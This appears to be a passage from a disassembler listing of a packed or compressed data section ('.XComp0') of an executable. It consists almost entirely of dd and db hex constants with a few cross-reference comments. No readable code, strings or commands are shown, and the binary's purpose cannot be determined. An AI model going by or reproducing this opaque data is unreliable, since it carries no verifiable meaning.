0D743100Fh dd 3445248Bh, 487A00D6h, 4E21ECAEh, 0FEAD8F05h, 3EC3A504h dd 7FC0F080h, 31900F1Ah, 3C0CD02h, 0AA20BC9Ch, 0EBE8FA00h dd 7D48A8D6h, 0D09403D9h, 0A57978E2h, 0ACAFD800h, 0E472C93Ch dd 80DE5097h db 99h byte_554E45 db 54h, 70h, 0D4h ; DATA XREF: .XComp0:00453114o ; .XComp0:0045311Co ... dd 3DC40BEAh, 0C20165Ch, 6EF93025h, 0F0053404h, 60C2D3B2h dd 8DC17D37h, 0CFBDC03Fh, 0BA40A202h, 40F14333h, 0DEB2C8h dd 0C48C527Dh, 973D27D2h, 6502C49Bh, 411FAD56h, 0E3E42C28h dd 0DDFC247Bh, 0C8648F3Ch, 37DF4F20h, 28155321h, 58C076F1h dd 8F8501DDh, 4C18AD6Eh, 0C0529260h, 7B44BC39h, 0C376819Ah dd 0F645663Ah, 320F8FF0h, 20EC6069h, 51337017h, 7108149Eh dd 0A080C086h, 674CF883h, 0B41E2E00h, 5647316Fh, 9AE20272h dd 0BB951FDCh, 20101840h, 781E1500h, 18970C12h, 9A7900D5h dd 0E543CAEEh, 950A9407h, 0B89D0D3Ch, 2A533700h, 5E4E38Ch dd 13B9509Eh, 0BF008022h, 9998DEECh, 1D4FA400h, 0CBF3FBBDh dd 0B4DA5441h, 9D1C0016h, 7CAC3CBFh, 0B501B149h, 58BC08D2h dd 9E0EF0Eh, 97C1003Eh, 0DB237F6Bh, 722EE8EBh, 9604AFE3h dd 0D340F9h, 7B3CD0AAh, 69830016h, 187427EDh, 4126B0EAh dd 0CC0014ADh, 0DD70E908h, 963A2406h, 0B22240D0h, 0FE546EAEh dd 0F8001BD8h, 0F63DDD2h, 0A46ABED7h, 4DBB0BC0h, 10A07BCFh dd 96337C9Fh, 99FA6400h, 18B21171h, 0D60F0EBFh, 0B6EF3FEh dd 66387B03h, 2CD47AC8h, 0A393BA00h, 0F67E8718h, 495D002Fh dd 0DCD25F08h, 3D002CEFh, 4261A4B9h, 86F516h, 0F295F991h dd 0C0995CEAh, 56D0FA06h, 0CE212D3Ah, 1E607C4Ch, 33555297h dd 0FE0072F4h, 45F298B2h, 7129096h, 429A45Fh, 0F034D701h dd 0F359B186h, 0FC130807h, 0A2E0DD7Ch, 0DAD4Bh, 3E0F2E64h dd 9E85BE1Ah, 25A2100h, 0A02DA34Eh, 592900DDh, 97CDF97Ch dd 0C8006111h, 0A3B5B9FAh, 2F8C5E15h, 90C1B29Fh, 7A14C05Ah dd 0BA003973h, 0C106802Dh, 1E37B712h, 29D43B7Eh, 0F2D90A84h dd 35B34198h, 0CEC5F499h, 2D4E30Fh, 0A0716EB2h, 86C7AD31h dd 85630F13h, 242F100Ch, 43C48360h, 38005CDCh, 0E67C7F92h dd 0C6D3612h, 67231DA6h, 0F90E13C9h, 40B71164h, 0A80A0CDh dd 56460033h, 0C92D5DA5h, 0F9FE47D8h, 2F268800h, 55BCFE9Fh dd 0CCA0C080h, 281D519h, 2914C900h, 70430ACDh, 3D8500DBh dd 0F96813C2h, 4B000C11h, 0CBC7294Ch, 302890D9h, 0A3809A12h dd 0F400C292h, 0A1061FB3h, 29C9D88Bh, 80145855h, 1003EE7Eh dd 87024789h, 0D16720C8h, 99CC81CDh, 0C2EE3424h, 258EDFB4h dd 5D2E9280h, 26F6BEC2h, 1A01B478h, 0A42AF301h, 8CD8ED97h dd 56401BCFh, 25B06088h, 0C56093FAh, 620ED7D8h, 8B50959Ah dd 1D8F2700h, 0DBA5C43h, 0DF2300A3h, 0E1EC090Ch, 2A0B67B7h dd 8043FC65h, 3278AE6Fh, 0E2FE095Ah, 301277h, 0E301C04Dh dd 1696CA88h, 5FD843D2h, 60C53F6Dh, 4C8FB900h, 3E011BA6h dd 728B704h, 288022FEh, 5823A748h, 84404344h, 311E0094h dd 87EB5A35h, 80EDE880h, 6737C8B8h, 4C7E38h, 0DA22A786h dd 3BFD243Fh, 9AC20F00h, 0DDCB5E0Bh, 629802E9h, 529EFEECh dd 4D64B840h, 99923400h, 0ACADA6Ch, 31F21668h, 73FA00BDh dd 8EC3EB10h, 5A34841Fh, 97756C8h, 0A000271Ch, 0CDBC329Fh dd 67005C91h, 5456815Eh, 66E40F21h, 36408F46h, 2382EBB8h dd 59799B00h, 96C5974Fh, 72EE0102h, 2CB0CDBFh, 38C6C0B2h dd 15903D12h, 0DC734700h, 5C45A2C7h, 8C443B6Bh, 7C2000DFh dd 825E0911h, 0EE07BD89h, 1C881845h, 0EF265AA0h, 91340E8Ch dd 25E78FE3h, 80EA66E9h, 469E6B19h, 74F8BC49h, 1B50064Ah dd 19332ED9h, 18D49A39h, 7311CFE1h, 8F353D2Bh, 18C32DA6h dd 0EE251932h, 9271633Ah, 0C04E8DE4h, 2266A020h, 0ED6F74h dd 1B6EFBB6h, 0E1770C0Bh, 8F017876h, 5385A921h, 9AD05E08h dd 0DAB400B5h, 8A05E623h, 5A0094ABh, 4E9AA9Fh, 4A71F49h dd 8C0DF65Dh, 44BA079Ch, 40AC8A32h, 1CF9945h, 649714F7h dd 80234908h, 0E22ABC88h, 33517FFh, 6B63BD90h, 14B20DB6h dd 3D1EAC40h, 8FBCBE54h, 0E92AEF00h, 46BA3AD2h, 5F720B60h dd 8055F141h, 0E0BC56E7h, 0A1610002h, 496E36EEh, 0B930EF82h dd 8C990B0h, 6920064h, 4F13E2C5h, 10F3723h, 0D4C87Bh, 1CD27C8Dh dd 4D63AAEh, 86BA4100h, 20D3C322h, 8BDDA2Ah, 264DD009h dd 3049605h, 71E0E148h, 300051ABh, 15D6C627h, 1F3434Fh dd 4EC8802Fh, 27029D50h, 81B102A4h, 6895BBE7h, 18A708D4h dd 11B2B473h, 0BD07246Dh, 0C6F09D93h, 937F930h, 0E06500D4h dd 0A5875E50h, 0F70363D9h, 0DE354E8h, 8080CFF8h, 3406CFCh dd 0B3339E34h, 1581730Fh, 0F224DC2Ah, 0A947B507h, 1DC02625h dd 0F86756EEh, 2DDB0060h, 0A07905BBh, 490F06FEh, 835AF3h dd 0CE509270h, 8320131h, 4D8BB49Ah db 71h byte_555345 db 0E8h, 90h, 5Ah ; DATA XREF: .XComp0:004532DCo dd 72200E03h, 0B8F02E66h, 0B8430608h, 62CB0071h, 0EBE8E60Dh dd 0BE001D88h, 83E2700Fh, 7EA53BBh, 937C5173h, 1E5D9004h dd 21C03CC1h, 0A94446B8h, 0C86E6FABh, 79D2E3Fh, 0A3D31B31h dd 0FCA0B765h, 540AD477h, 6441A814h, 8E5BAC00h, 3C836B5Eh dd 2785B434h, 0C0552FA1h, 0D0A8902Eh, 0F609840Ch, 6E40F7h dd 0AE26F5A7h, 4D4C555Dh, 53950D00h, 6D807B5Bh, 86310141h dd 661646BBh, 8F60BC4Ah, 0D4484CB7h, 726300B0h, 4EDE726h dd 1EAD780Dh, 40E41A9Ah, 83F42459h, 0AF0095D5h, 3C75D99h dd 308D676Dh, 5A802092h, 0A63E73BBh, 25EB8058h, 0C33F66E5h dd 51F70333h, 0B5245F7Bh, 0DA1B4DA9h, 0ED9BF1C0h, 0A9007D7Dh dd 52D9DCB4h, 303B37Ch, 7967960Bh, 3EC8379Ah, 50F6591Dh dd 7F4A2B1Ch, 768842C0h, 1FBC9Eh, 0EE0A8DFBh, 96877816h dd 0E9B4300h, 7DF81993h, 898B008Ah, 138F50FEh, 9600AD7Ch dd 0C3F7D568h, 50520B2Dh, 18B8436h, 5AFE6D71h, 8015E12Bh dd 84F860D0h, 93975h, 0EF0AB766h, 5D96D51h, 0F9486F00h dd 75529FBAh, 8EA91508h, 2840E061h, 0A11C003Ah, 0AD7A594Dh dd 0BE014CABh, 2123FBFDh, 35D09764h, 10BCA066h, 39F30070h dd 5880C1E0h, 0C2181FD1h, 68C127C8h, 0CAF002E9h, 7FFA184Bh dd 0DCFBF8A1h, 0CC4C871h, 0A4660E00h, 5C36C65h, 1BC70387h dd 19862697h, 89B027A3h, 460304E5h, 5C73BF59h, 0CDAB80B3h dd 0B44A0031h, 98DDEB90h, 0E3006C22h, 333A3B1Ah, 482E6E42h dd 0AD037CE7h, 34A7C02Bh, 8E72B000h, 6EA126FAh, 7FA92446h dd 0DB2300C9h, 0C82E3D5Ah, 9F1F5D07h, 0C51082B7h, 9E42D3h dd 8980464Bh, 63C836DCh, 92FF800h, 997133A4h, 0CFAB046Eh dd 80359ABDh, 456C5AD0h, 7BA95914h, 8C6500DCh, 2E81D708h dd 572F2h, 0ED54CE18h, 5D69C6D0h, 68562100h, 0FD310A2Ah dd 0F439071Bh, 601F320Ch, 0C09ED112h, 0C6057C00h, 0C1246C40h dd 0AC35039Ch, 67A3A538h, 9D2BA298h, 7AE2DA1Fh, 0DD038E40h dd 0E34AF13h, 3F86618Dh, 76BC4902h, 0BEEE0840h, 146AF8C0h dd 6CC50D8h, 16A27041h, 0AA05E820h, 0B497DF93h, 2F3F48C1h dd 0F12860DAh, 4109A7Ah, 0A2C404E6h, 1504803Dh, 21D2481h dd 501F9011h, 97BE803Dh, 1F014ECEh, 190700F1h, 4B68E743h dd 0D40083F7h, 73111022h, 607A61E6h, 0FBD9596Dh, 803F5807h dd 8B2209E4h, 8D60A00Eh, 0AC7EBE0Ch, 0A3ED26BCh, 0F2EA007Dh dd 8AC7736h, 269BE748h, 8D40BC67h, 0C11595Eh, 2C10AF25h dd 1739A869h, 89261EF9h, 0A27E4380h, 78BDA52h, 78FB1074h dd 920E403Fh, 30053614h, 6D8C0625h, 0FCEACC80h, 804C992Fh dd 5D912A72h, 250F56BAh, 5E24A48Eh, 75AF0E40h, 90F80547h dd 6584057Ch, 0E2BD46h, 0AF5E6CFCh, 0AB00C02Ah, 20CB4FB0h dd 0A04DD110h, 3A5490h, 5ABB0211h, 5731224Ch, 0BFB30A38h dd 140075B6h, 68FB4F5h, 0FCE1A3A8h, 9A9055h, 0D11C257Bh dd 46DA0FC7h, 9CD61000h, 96DE2B40h, 6DC63BCCh, 0C05C710Fh dd 0F08DF6E0h, 0A826B736h, 8C000029h, 5EFF6CBCh, 15F4055Fh dd 0E8EBF1h, 0E151D3C0h, 82006A76h, 0E978353Dh, 0EECC4B9h dd 0A7BA2460h, 0D76280E0h, 214857CFh, 522A0018h, 369EB263h dd 0C30824EBh, 0A9FB85A4h, 75E6C078h, 3814AB91h, 7ECD8897h dd 6D09850h, 0CCBB6000h, 38FD4E63h, 7109006Eh, 1A7F742Ch dd 8A071B39h, 0ADF09837h, 916C636Fh, 8025FA04h, 39616EE8h dd 882F2484h, 4BC9705Ch, 8A0AD100h, 44FC270Bh, 0EDCF131Fh dd 0DF710586h, 90D040CDh, 0BB8D1A92h, 0E9091F78h, 0A04CF210h dd 0C65CC82Ch, 0A68800B5h, 5D24898h, 7408807Ch, 2FFD13h dd 691AF87h, 0F70E26C8h, 407AD494h, 0CF3D614h, 1D8405DEh dd 0C1F46679h, 21778087h, 3E880020h, 0E60160FCh, 917BCE43h dd 0C88732D1h, 0D0D0BFD6h, 0C3EB082Ah, 0D84F7602h, 0C0E16C63h dd 18FA0FDh, 0CB4D4977h, 0D1BC37CAh, 92C6D4E4h, 1D1345F8h dd 20BD852h, 8AC900B1h, 184EDACDh, 18C8B8A2h, 0E1C1AB4h dd 6807EE1h, 4DD9C1F1h, 2C05FCDEh, 32C9DECh, 0D2EFC2DFh dd 0E3F721A0h, 7AD01807h, 5511FA3Eh, 71807BD6h, 0FBCADC5Ah dd 6407CB95h, 2EF152C1h, 90ED55D0h, 0A27F00C9h, 45509CF3h dd 0D4001CFDh, 3DF8A69Fh, 1B9BE83h, 0F1DBD5EBh, 80C32B59h dd 7B93AEF8h, 3047D09h, 53D9032Dh, 287AECF7h, 98D6260Bh dd 0AEA080DDh, 1A7E01Bh, 8AB01814h, 0D358C707h, 760680F0h dd 301F800h, 0B569EBDAh, 98C100F5h, 0ED5A1F6Ah, 0C8787111h dd 5D00A876h, 0A7E7FF42h, 16B52D2h, 0CAE10CB0h, 82DAD57Bh dd 0C18D55E9h, 38A0A0C7h, 0B0BA43h, 0BFACECCCh, 0FBB64F6Ah dd 6853DA18h, 164340h, 0D9B83F2Ah, 0CE3D0629h, 0F6E23A00h dd 88C35FDFh, 0FEF900DCh, 0B4057179h, 7456CAB5h, 0C08A0AACh dd 0AF4138D0h, 0BE2008C2h, 0BF0300D8h, 0C6E26486h, 0FA000626h dd 692254F9h, 733AF2E3h, 725D58A5h, 0FF50BD30h, 0E5037D9Eh dd 9694D144h, 9A6900BBh, 0F42F29CAh, 0E4003632h, 0E6061F2Eh dd 32AD9ECh, 0D2F658DDh, 60A705FFh, 0B36DF367h, 0F209D100h dd 0C918D95Ch, 149239h, 6B20C1B9h, 0E72F9991h, 0DDAECA00h dd 0D635B5DBh, 892E0064h, 0DB059FAh, 96986BF5h, 0EB92BE00h dd 26E2979h, 4163001Dh, 0CED3CB1h, 1971573Ah, 3CA930Eh dd 6404729Bh, 80BACFF4h, 2DE1C685h, 9400D27Dh, 0D4B36E5Ah dd 8EBF34h, 3EC1335Dh, 369FCA1Bh, 81DAB139h, 0A54DDB92h dd 0CEC86FE2h, 2CC94981h, 0B95B4500h, 9C158636h, 27034F8h dd 52385D01h, 1799B087h, 40969852h, 92AA0DEAh, 0E6FE031Ch dd 6C4FD79Ch, 0DBD848h, 0E03B3753h, 3AAE27C0h, 0BC5C7D9Fh dd 12F679h, 0D5F8C6D7h, 4A409961h, 88217400h, 0DAAF4195h dd 0DFA40158h, 9BBFF06Ch, 0C8C40B6h, 0F804E54Dh, 6A55D968h dd 64D6C482h, 1C410014h, 0E283BC77h, 7807F581h, 0A770C080h dd 0B7757D53h, 0C45A603Fh, 599D0A6h, 690E4BCFh, 802434CCh dd 5FBEB138h, 0EBCFE100h, 0AB117A9Dh, 9B29035Eh, 0EFAC851Ah dd 71D65BB0h, 0DB006973h, 2A56C2F2h, 1868454h, 0F0103517h dd 0F8DE6883h, 0E200F36Fh, 60C3C764h, 0DF63F9h, 0D3026D13h dd 0A7089021h, 703C8600h, 6FD27ABAh, 3AA2003Bh, 0C3489A42h dd 5F00876Ah, 3E99A50Fh, 90D38F64h, 44170134h, 6A704A78h dd 197CF4A7h, 0A0AA3200h, 14C8B7E1h, 5CECA8C3h, 0A95B0E9Ch dd 5F29F887h, 0E528C05h, 0F34119DBh, 0ECBF2914h, 620060C2h dd 6B8E47E7h, 46E094h, 0D822FE51h, 3F55D48Bh, 0BCBB4Ch dd 784E5BDAh, 24E0760Dh, 3C8D44h, 98BB33D1h, 0CA1DC640h dd 0E240FCA0h, 0F0E8D6B8h, 719A0135h, 7FBD342Bh, 0D05C2449h dd 0A38FA512h, 0BF272C45h, 96518AC0h, 48991F9Ch, 53A479Fh dd 0AB24A0FCh, 1B0019D9h, 61C02FBEh, 227CF0h, 0EC45E576h dd 0C6B4EF17h, 51159F30h, 3352F48Ch, 4EF8FA0Fh, 2CCD7000h dd 0E67DCBE0h, 0C09401B0h, 29541968h, 20DBC109h, 142F0660h dd 0AF76B9h, 24180CA1h, 4052E1F7h, 8D9B008Ch, 0BBA08E8h dd 0FA0900A6h, 5C857793h, 0F5781711h, 0CBC66518h, 9B9EA89h dd 9318FD99h, 55E73420h, 0C20EF67Bh, 3AE6344h, 0D8247FC8h dd 39F2807Ah, 0F7006BCFh, 4BDAC6E6h, 89598EB3h, 3F030014h dd 0E71C47ACh, 93980A7Eh, 671CCC68h, 0ED3450D1h, 9F4CA2C3h dd 2ABA07A0h, 0E543BC51h dd 79904ABh, 8BC2E49Ch, 0B131122Ch, 0F938E400h, 0DE5AC6h dd 27B74211h, 1C1813Bh, 30D53730h, 48E3BD52h, 6EE1A495h dd 0EDEEF868h, 36FE9898h, 0CF9BBC00h, 484FF094h, 3C40002Ah dd 731558B0h, 19165FC2h, 0C200DB8Eh, 167ADD03h, 0F5F90052h dd 1C9B4596h, 8C903122h, 8BCC101h, 0E12DFC0Bh, 2EB6E080h dd 722F1075h, 0FFD8410Fh, 0FECA0E3h, 0AA4302h, 0B6CB23C9h dd 0ED2001E0h, 4028620Ah, 0F5029CB5h, 0ABA1C6AAh, 3180DFB0h dd 0B005D8F6h, 198C5C30h, 24F01504h, 8A283E7Bh, 80A4BDD8h dd 5D9DC453h, 7F54E522h, 8C1E540Ch, 96C0846Bh, 351C2579h dd 9DDB123Fh, 0BC9C508Fh, 75FCF0C2h, 549884C8h, 14D12800h dd 6EBA0997h, 6DBC00B5h, 4992CCE5h, 0E8F6B837h, 9682F00h dd 11AF8131h, 9F71240Eh, 61E300D0h, 78D9A8DCh, 4BB0F50Eh dd 40007328h, 12FC69ABh, 791F0101h, 3A78E219h, 641024B8h dd 5C5FEC00h, 2F04EF1Ah, 2C844858h, 48E900A7h, 5906A1C2h dd 0D4679BE6h, 16F500C0h, 65C62B37h, 0B801DB4Ch, 0CD6E5346h dd 88501CB6h, 23C275Fh, 0DA087464h, 0AC80ED10h, 301B9F9Dh dd 0B71187FBh, 8EC26673h, 1AB8402Ch, 91800D56h, 0C820F359h dd 5E7FE8A7h, 0BB8C411Bh, 95610022h, 0EC0881CDh, 5E00CFB4h dd 36D820B7h, 267BC11Bh, 2CD852FFh, 20C84DACh, 0EB095530h dd 0A0B28FB3h, 0B64CCA98h, 0FDD9C05Dh, 0B0ADFE6Dh, 25130E00h dd 0E359C1FCh, 4578051Ch, 803585FAh, 0EADB5A84h, 0D6B2A513h dd 0DC7AC003h, 209903D9h, 0AFE18E90h, 282E1101h, 0CF418051h dd 0EEB7BAD7h, 0C1112828h, 0DBF600BCh, 9BEB2A9Ah, 0A1C1B56Dh dd 7ECCC431h, 588CD9E4h, 0BE05C6A7h, 9A68EE6Bh, 316D0068h dd 68A7E4FCh, 1B030F2Dh, 0A0C23A5Dh, 18C7E3B5h, 1175FA0Ch dd 0F977B4h, 0FC90173h, 648F390h, 5A106300h, 93F6A6C1h dd 4E1500CDh, 2357E483h, 98A4C8B8h, 8200CE49h, 0A02CF337h dd 6E6DAEF4h, 877AD4h, 0F832B063h, 7945AC5Ch, 48B0CF7Ah dd 47327263h, 0EFE6A887h, 18E800ADh, 8FB5E489h, 94A06533h dd 9016D9F4h, 440059EDh, 6ABEF8DAh, 7FDE000Dh, 963AFC9h dd 0EAFEB966h, 5D221300h, 0D3AE78Ch, 346058BFh, 3BC3C002h dd 84999042h, 0F42802h, 6CAF2F74h, 0D652Ch, 2B6038DDh dd 3FE11563h, 82E0A93Dh, 0AD9CF1Ch, 1228C1B2h, 7D7E840h dd 0E50B0893h, 0F707A5E3h, 52B03ADCh, 7C4D6DD0h, 0FDB72632h dd 4882644h, 90546AEBh, 0A026D83Ch, 32B1FB00h, 4065E951h dd 0E1776B6h, 0A4A1BCC4h, 0C2925845h, 4860F9A4h, 8713F475h dd 58478159h, 7886531Dh, 0F4FBA051h, 9B2E24E2h, 0C084C97Ch dd 0E3634117h, 0F0239B2Ah, 0C9031B48h, 4CBBF7F9h, 0D9B481E8h dd 455F7117h, 0CEF05040h, 0D5BA52h, 7316B50Fh, 9FA04931h dd 0BB83F0E5h, 7C9DD8C2h, 0A59C602Fh, 110A0B1Dh, 95003156h dd 0D71433BBh, 34BF0E00h, 3B1D6769h, 0C76F01B9h, 4C076185h dd 6E8BDC4Eh, 870B891Fh, 8F7F38C0h, 0C8C073h, 8C2FD2D7h dd 6179FF8Eh, 27F90604h, 0F4C0669Ah, 0C3E207A0h, 50E6D048h dd 0E17C3800h, 0A8A17DF4h, 0E5B600BEh, 297502DCh, 62075C67h dd 0C5743D0h, 619433h, 0F6D48789h, 2C0D0B5Dh, 6B99B500h dd 0B21DDCE8h, 3F1E30D3h, 3E6C348Eh, 88710600h, 0AF42F402h dd 0B16A39C1h, 0B02406F4h, 48F55BCCh, 3EC09D0Ah, 0D30008CDh dd 31E3C565h, 0C4C60E4Fh, 8CC1FD55h, 0CCF3CE89h, 0CA14D633h dd 74941988h, 0B21E6200h, 9CE5055Ah, 5156126Fh, 0DCDD062Ah dd 7348118Ah, 11DB00E6h, 3E5E2E4Eh, 37E8C7h, 0DEA87FE1h dd 7EADE2D7h, 5BCB7502h, 4023A251h, 7FA6F0ADh, 2FE50067h dd 50D90D2Bh, 5F00E8D1h, 80339F96h, 1D27BEEDh, 80E613B1h dd 3D078E05h, 0B005EFEh, 0FC7023A7h, 0E6B28h, 0D87B9F64h dd 3A899A6Ch, 0F746F900h, 48BDCC39h, 4CA4A8E9h, 0D9CB0066h dd 77D54D08h, 0C18FC3Eh, 2B08180h, 0D2EE3A4Fh, 19044401h dd 80A57AAEh, 0F44C4338h, 286C6951h, 7F9C1CE7h, 0A6C600F0h dd 2560A991h, 0B500FAF2h, 0C3539F88h, 4742A7h, 87C58F80h dd 3C582EFCh, 0E8407800h, 545C4148h, 98300685h, 80B53DE2h dd 65737A00h, 0FB58B9FAh, 0C2DE00E5h, 6E74D8D1h, 2CF2EE4Ch dd 3010EA00h, 2FA043A1h, 0D6480089h, 1E5E34EDh, 0C904E11Ch dd 7210CBA7h, 446E1481h, 40E0E8h, 4F9F200Dh, 6BF05B18h dd 367D6200h, 0B65A5CBDh, 0F15E3080h, 0B90609D1h, 5258F000h dd 0ECB7419Dh, 53F0081h, 68F98E80h, 99010B5Ah, 1B5C923Bh dd 7820EFD5h, 0B8300069h, 1663769Dh, 2E1E3306h, 71CE41E4h dd 0A3FCC485h, 24701890h, 0FB01004Bh, 77EFDEDFh, 142C4974h dd 1F0389D4h, 0C099486Fh, 12D1FDCCh, 30EDE5CFh, 7BC658D4h dd 4A535407h, 0E9E42365h, 0B928891Fh, 116EAC0Ch, 307DD6C0h dd 4F6A988h, 55CD4325h, 0D8C48371h, 0C7FA91D8h, 2E44A601h dd 321F6C12h, 476DCh, 372F3BA2h, 71D7080Bh, 84C2BE02h dd 90D094CDh, 24B91D64h, 0C3DC10A8h, 5B90CD50h, 51E0C29Bh dd 0C1D1326h, 807D9B73h, 0C9487AAh, 268C1EAEh, 9B00B921h dd 4A78BEC9h, 307A89C2h, 0F1707029h, 0A700D97Bh, 99E6F39Dh dd 3FD3FAC8h, 651C27BAh, 3610C184h, 20F037A2h, 74004838h dd 8A2F0F53h, 0B50B43h, 0A3DC22CCh, 0C3DE888Dh, 751C8B7Bh dd 0A0C3C94Ah, 88123531h, 1A961B5h, 1053432Eh, 6065D406h dd 250A6D4Fh, 807FB16Bh, 0FF0017A6h, 987E7241h, 5B99091Bh dd 100045E8h, 0CEE30944h, 0F81DAFF8h, 0A88077C2h, 48BF1A2Bh dd 7C892E5h, 85F10150h, 0C50F8023h, 5B01023Ah, 0D7ABA34Bh dd 0E2C0642Bh, 5371C1B1h, 80D87493h, 2E0B7598h, 7F06D967h dd 0CBE4C1h, 11BAC0BFh, 0C8525A92h, 61F92F01h, 3715E30h dd 44888042h, 20600198h, 5094D22Ah, 440F0E2h, 1B676B00h dd 0E680211h, 79C3601Ch, 0DE9B993Dh, 67072218h, 1F5E6AB8h dd 4CC69102h, 0DE296092h, 0A08BFCE1h, 58701324h, 66167484h dd 0A0C08E82h, 490511F0h, 4F0A004Ch, 0EFE5A508h, 3C000C2Ch dd 0DEEE8C54h, 1AA38h, 5935ADB1h, 37701B21h, 6CB248h, 41BB9650h dd 73E6B4C9h, 0D45E3007h, 2FF3D158h, 0AD66FB04h, 0E0C0263Fh dd 2A23456Bh, 5CB8B46Ch, 4B072438h, 70DAE492h, 0A69B067Ch dd 9A7F8300h, 0FA3128F9h, 97B70130h, 45A00D84h, 3683D0BFh dd 3DCFB200h, 54461475h, 471E1F0Bh, 63FB8050h, 51FD77C6h dd 0DC4EEA0Ah, 80BC8883h, 7A095C39h, 30753Bh, 7C2D2A3Eh dd 515327A0h, 8434D716h, 0BBFB4C45h, 0D0639081h, 0D917F057h dd 0C2F98D61h, 2E1E5F8h, 84A8BFFAh, 7040B74Eh, 0F3007547h dd 347DB92Dh, 647498F7h, 0C06DF805h, 9DA1DA90h, 730D148h dd 952C0E6Eh, 8949D640h, 3AD00042h, 0DBEFE73h, 0CF00EC96h dd 0D1993559h, 0A0880629h, 18756998h, 11A6830Fh, 0E0B07462h dd 0E401A3F4h, 2E464D28h, 2D30377Fh, 83D33CA9h, 0AE995300h dd 59B0CEAh, 85E0F460h, 57B47Dh, 8F0709A1h, 8931FE58h dd 80730C3Ch, 402B140Fh, 64DF73Ch, 0B9679626h, 3F00A922h dd 0E6EB476Eh, 502B2077h, 378051h, 0CF8DF3E2h, 9F47DF91h dd 56A77207h, 58B0E88Ch, 7AAEBB05h, 4A730083h, 0E5F7481Ch dd 95FAEE9Fh, 0B254C4E8h, 7E0001D4h, 1E67083Ch, 0C042D5B0h dd 3F13FD78h, 0DC7438E3h, 7151571Dh, 0C853167Bh, 36B54000h dd 5CA63D87h dd 9C812425h, 2051AF5Ah, 7314E748h, 9C66F3h, 246D6777h dd 24B0388Ch, 0BA48E649h, 4CEE1680h, 9F777C7h, 3CF69476h dd 0FD735576h, 0B8499001h, 87628427h, 4A065983h, 700E184Eh dd 40CCBA89h, 6C1FCD90h, 1E17006Dh, 0FF822064h, 56006225h dd 0EF5A5558h, 5E5CDC7h, 46B0747Bh, 0C8992Fh, 0EB3EEA88h dd 9A75B1C3h, 72D81D1h, 9450D5F1h, 123F1Fh, 0B1AE5450h dd 0E2E4A7Bh, 87641109h, 84308A0Dh, 6572F400h, 0FA5C2468h dd 0A2F3312Fh, 54713141h, 2E946084h, 0F4D8592h, 1965C150h dd 0B1DCE373h, 95E900DDh, 0D1D3EEB2h, 232E9A4Dh, 0F90216B7h dd 413EB053h, 4462D738h, 82770F85h, 3120BF58h, 609C71ADh dd 811F7852h, 3EFE2F5Dh, 2DD29400h, 95CEBAB4h, 76C300ACh dd 3629E96Ah, 24F2DCE4h, 35D85400h, 0B60BF7Fh, 26E7E802h dd 981803h, 0B26D5B4Ch, 0FF00AB29h, 30749B72h, 1C607870h dd 26B49199h, 332C0276h, 0F8A022B8h, 384E5B73h, 49011BF2h dd 6E4F50D0h, 0CC60550Ch, 0AEA300E7h, 0FA36DB85h, 3D0E8F87h dd 0D8ADA5h, 6503B280h, 0C7B30051h, 1A2E935Ah, 2C927FA7h dd 9C88C8FDh, 8D323300h, 0BE0759D4h, 0AD0F0045h, 56FE54FCh dd 6898D819h, 65692B00h, 179CE063h, 33AD0910h, 9C4C6FA6h dd 2780B416h, 199CC441h, 90419F32h, 6410E86Ch, 20491EC5h dd 0A44075Ch, 0E8B4A30Ch, 82DD881h, 41FCA865h, 0AFF286Eh dd 0C59E0CF8h, 45B9C16Dh, 7205D8F3h, 88E4AE2Eh, 16034D00h dd 0AA9383h, 222138A9h, 0AC29E176h, 702E8605h, 0D9039BFFh dd 0E06C27FDh, 27CA0F2h, 5F023E82h, 8060FC01h, 62E60C74h dd 0E8034Ch, 395B930Bh, 0B64DD7h, 2C74902Eh, 11175D5Ch dd 0BD729412h, 39542440h, 26A52BB9h, 0C4BC4h, 0A4731E06h dd 4A0035DFh, 2B7D1207h, 0EA3109h, 0A67BDA3Ah, 9740856Ah dd 0B4FC4E09h, 4938007Ch, 9674A310h, 0ED79C260h, 0BD48DC98h dd 0B4DD182Ah, 5E07CCEFh, 5D757678h, 0C060844Ch, 8FEF7394h dd 8DF409D4h, 889EB24h, 44003016h, 37536722h, 198126h dd 0C741B14Fh, 187EE999h, 1F66D901h, 2F604CE6h, 0D49CE801h dd 0B8B026D2h, 0A7E25400h, 7E3555CAh, 1C603E31h, 0F200F448h dd 0FC075C78h, 8A00801Bh, 578E0AB6h, 6F0DC0h, 810CBF6Eh dd 48346AD9h, 0E990AD64h, 40248C92h, 5027D8h, 94751CEAh dd 0B653D55Ah, 0BCF3FE28h, 0CA55B000h, 0B1EDD127h, 0A0C50AF8h dd 493CC7FDh, 0F42C3F74h, 0D8C9B645h, 0BCE0442Ch, 692630F9h dd 6106F2B9h, 1C89003h, 3E6844FEh, 0C8452C29h, 189AAEE7h dd 4E922401h, 9A7375EAh, 432F851h, 0D900A862h, 0FF155103h dd 0B103CF7Bh, 13194EB7h, 0A76FD843h, 0F8FE01F5h, 0CED6E9BBh dd 0B1ACFC6Dh, 9B1EBC02h, 0E2B6F455h, 0CE48DDA0h, 36062801h dd 5CA4ED16h, 174D0080h, 7F0F3306h, 0C010268h, 0FD6A5B65h dd 98354875h, 0C4E434h, 0BE261550h, 721A65F6h, 3CBD9901h dd 62B46FA5h, 66E8D181h, 0DC710563h, 6C09BEF8h, 0C6C0657Fh dd 2D89810h, 66231B3h, 986E8D44h, 17102F01h, 0F05C9B22h dd 1100582Ch, 0DAA70199h, 3F00B549h, 8FA9240Fh, 4D3CD51Ah dd 2B2B8475h, 0B16401ACh, 651888CAh, 0F3C402CCh, 4B00850h dd 0E508709h, 17E4C684h, 790D9Fh, 88A4DA2Ch, 7B1402CAh dd 0E0F8CF3Ch, 4C36B132h, 2B07D008h, 10D68460h, 0A93CAA35h dd 0D5013C98h, 0DF967173h, 9C2D7B92h, 0FF688B00h, 0B33EDB40h dd 51B78800h, 7F100B5Ah, 23900B4h, 653BA2F4h, 48C06B40h dd 376327F2h, 0A3F63DE6h, 7006C880h, 0DFD699BAh, 4828AF5Ch dd 4D3300E8h, 40EF63EBh, 0C19D09D4h, 0DCB49E3Ch, 0D20C90FEh dd 0D9218D25h, 0F0DD09A8h, 0B0A1FE95h, 80D15DB4h, 0E7B33C39h dd 1A2A32DDh, 0D08A5FD7h, 9BA40080h, 0EA04572Bh, 0F025B367h dd 950740B3h, 0D01BDADDh, 0C3973D7Ah, 0C73C555Ch, 80796C22h dd 0FE68B4D4h, 626A0024h, 0B3EF2937h, 434A4B4Ch, 9080E424h dd 748FD73h, 1A2F6792h, 0D4878B8Ah, 